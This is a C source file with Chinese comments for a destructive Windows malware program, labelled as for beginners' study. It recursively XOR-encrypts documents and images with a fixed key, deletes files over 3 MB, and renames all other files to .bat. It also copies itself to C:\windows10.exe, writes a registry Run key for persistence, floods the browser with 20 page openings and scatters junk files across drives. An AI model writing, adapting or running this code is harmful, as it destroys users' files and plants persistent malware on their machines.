/*******程式功能****
**** 在預定目下下製造垃圾檔案99個 檔案型別為txt字首為LOVE_的txt檔案
並且在檔案內部寫入預定字串
**** 複製自己到C盤根目錄 檔名更改成windows10.exe
**** 加入登錄檔啟動項
**** 其他檔案全部修改副檔名為bat(即批處理檔案)
**** 開啟xxx網頁20個
**** 不處理字首為LOVE_的檔案
只供初學者學習測試用,不得亂搞
********************/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<direct.h>
#include<io.h>
#include<process.h>
#include<time.h>
#include<Windows.h>
#include <sys\stat.h>
#define MAX_PATH 260 //檔案最長路徑
#define RUB_CT 99 //垃圾檔案個數
#define WED_CT 20 //網頁個數
char *regadd = { "REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"windowsupdata\"=\"C:\\\\windows\\\\Tasks\\\\windows.exe /s\"" };
//搜尋檔案
void dirsearch(char *path);
//加密檔案
void lock_xor(char *pathfile, char *password);
//製造垃圾檔案
void rubish();
//檔案複製
void fcopy(char *infile, char *outfile);
//字串寫入到檔案
void strtofile(char *s, char *outfile);
//添加註冊表項
void add_reg();
//開啟網頁
void openwed();
//修改副檔名
void renExt(char *ffile);
//字串定位返回對應字串指標
char *strrstr(char *s0, char *s1);
//WCHAR *SS0 = L"ConsoleWindowClass";
void main(int agr, char **agrv)
{
//ShowWindow(FindWindow(SS0, agrv[0]), 0);
int n;
char outf[MAX_PATH] ="C:\\windows10.exe";
//測試目錄
char dirpath[7][MAX_PATH] = { "C:\\Users\\Administrator\\Desktop\\cs", "D:\\cs", "E:\\cs", "F:\\cs", "H:\\cs", "I:\\cs", "J:\\cs" };
//複製自己到C盤根目錄 檔名更改成windows10.exe
fcopy(*agrv, outf);
//添加註冊表專案可能會觸發安全提示
//add_reg();
openwed();
for (n = 0; n<7; n++)
dirsearch(dirpath[n]);
rubish();
return;
}
void dirsearch(char *path){
//int n;
char fpath[MAX_PATH];
char temp[MAX_PATH];
struct _finddata_t fileinfo;
long handle;
strcpy(temp, path);
strcat(temp, "\\*");
system("if exist temp eixt");
handle = _findfirst(temp, &fileinfo);
if (handle == -1)return;
do{
if (fileinfo.attrib&_A_SUBDIR){
if (fileinfo.name[0] != '.'){
strcpy(fpath, path);
strcat(fpath, "\\");
strcat(fpath, fileinfo.name);
dirsearch(fpath);
}
}
else
{
strcpy(fpath, path);
strcat(fpath, "\\");
strcat(fpath, fileinfo.name);
//if ((chmod(fpath, S_IREAD | S_IWRITE | S_IEXEC)) != 0)return;//修改檔案許可權為可讀可寫可執行
if (strstr(fileinfo.name, "LOVE_") != NULL)continue;//不處理字首為LOVE_的檔案
else if (strstr(fileinfo.name, ".txt") != NULL || strstr(fileinfo.name, ".xls") != NULL)
lock_xor(fpath, "abcdefg123");//此處呼叫加密函式
else if (strstr(fileinfo.name, ".jpg") != NULL || strstr(fileinfo.name, ".doc") != NULL)
lock_xor(fpath, "abcdefg123");//此處呼叫加密函式
else
renExt(fpath);
}
} while (_findnext(handle, &fileinfo) == 0);
_findclose(handle);
return;
}
//簡單異或加密 執行一次加密 再執行一次則解密了
//不想被解密,可以每次用隨機密碼去加密即可
void lock_xor(char *pathfile, char *password)
{
char file[MAX_PATH];
char pw[20];
long fsize;
char ch;
int n = 0;
FILE *out;
strcpy(file, pathfile);
strcpy(pw, password);
out = fopen(file, "rb+");
if (out == NULL){
//perror(file);//錯誤提示
return;
}
fseek(out, 0, SEEK_END);
fsize = ftell(out);
if (fsize>3000000){
fclose(out);
remove(pathfile);
return;
}
rewind(out);
ch = fgetc(out);
//檔案小於3M執行加密
//只針對前面說明的那幾種類型的檔案
while (!feof(out)){
ch ^= *(pw + n);
n++;
fseek(out, -1L, SEEK_CUR);
fputc(ch, out);
ch = fgetc(out);
if (*(pw + n) == '\0')n = 0;
if (ftell(out) == fsize)goto label;
}
label:
if(fclose(out))return;
else return;
// perror("fclose");
return;
}
void fcopy(char *infile,char *outfile)
{
FILE *input, *output;
char temp;
input = fopen(infile,"rb");
output = fopen(outfile, "wb");
if (input == NULL || output == NULL || strcmp(infile, outfile) == 0)return;
while (!feof(input)){
fread(&temp, 1, 1, input);
fwrite(&temp, 1, 1, output);
}
fclose(output);
if(fclose(input))return;
else return;
return;
}
void renExt(char *ffile)
{
char newna[256];
char *pExt;
int j = 0;
char *extf = ".bat";
strcpy(newna, ffile);
pExt = strrstr(newna, ".");
if (pExt == NULL)return; //修正在處理無副檔名檔案時出錯問題
while (*pExt != '\0' && *extf != '\0')
*pExt++ = *(extf + j++);
*pExt = '\0';
rename(ffile, newna);
}
/******指定字串在另一指定字串中最後出現的位置指標***/
char *strrstr(char *s0,char *s1)
{
int n;
char *p, *np = NULL;
char *pf = s0;
for (n = 0; *(s0 + n) != '\0'; n++)
{
p = strstr(pf, s1);
if (p != NULL){
np = p;
pf = p + 1;
}
}
return np;
}
void strtofile(char *s, char *outfile)
{
FILE *output;
output = fopen(outfile, "wb");
if (output == NULL)return;
fwrite(s, strlen(s), 1, output);
if(fclose(output))return;
else return;
return;
}
/*************************
添加註冊表項:
自動執行生成檔名為windows10.exe
**************************/
void add_reg()
{
FILE *output;
if ((output = fopen("$$$", "w")) != NULL)
{
fprintf(output, regadd);
fclose(output);
spawnl(1, "c:\\windows\\regedit.exe", "/s $$$", NULL);
}
return;
}
/************垃圾檔案製造模組****************/
void rubish()
{
char path[260];//路徑
char fname[80];//檔名
char *ss = "一百年後的今天,我們還會再次相遇!";//待寫入字串
char dev[7][15] = { "C:\\cs1\\", "D:\\cs1\\", "E:\\cs1\\", "F:\\cs1\\", "H:\\cs1\\", "I:\\cs1\\", "J:\\cs1\\" };//測試分割槽/目錄
int n, rb;
unsigned tt;
time_t mytt;
tt = time(&mytt);
for (n = 0; n<7; n++)
{
//生成999個垃圾檔案
for (rb = 0; rb<RUB_CT; rb++)
{
if (tt>0){
tt -= 5;
srand(tt);
}
sprintf(fname, "LOVE_%d.txt", rand());
strcpy(path, dev[n]);
strcat(path, fname);
strtofile(ss, path);
printf("%s\n", path);
}
}
}
void openwed()
{
int j;
for (j = 0; j<WED_CT; j++)
ShellExecute(NULL, L"open", L"www.xxxxxxxxxxxx.com", NULL, NULL, SW_SHOWNORMAL);
return;
}
//
//處理前
//處理後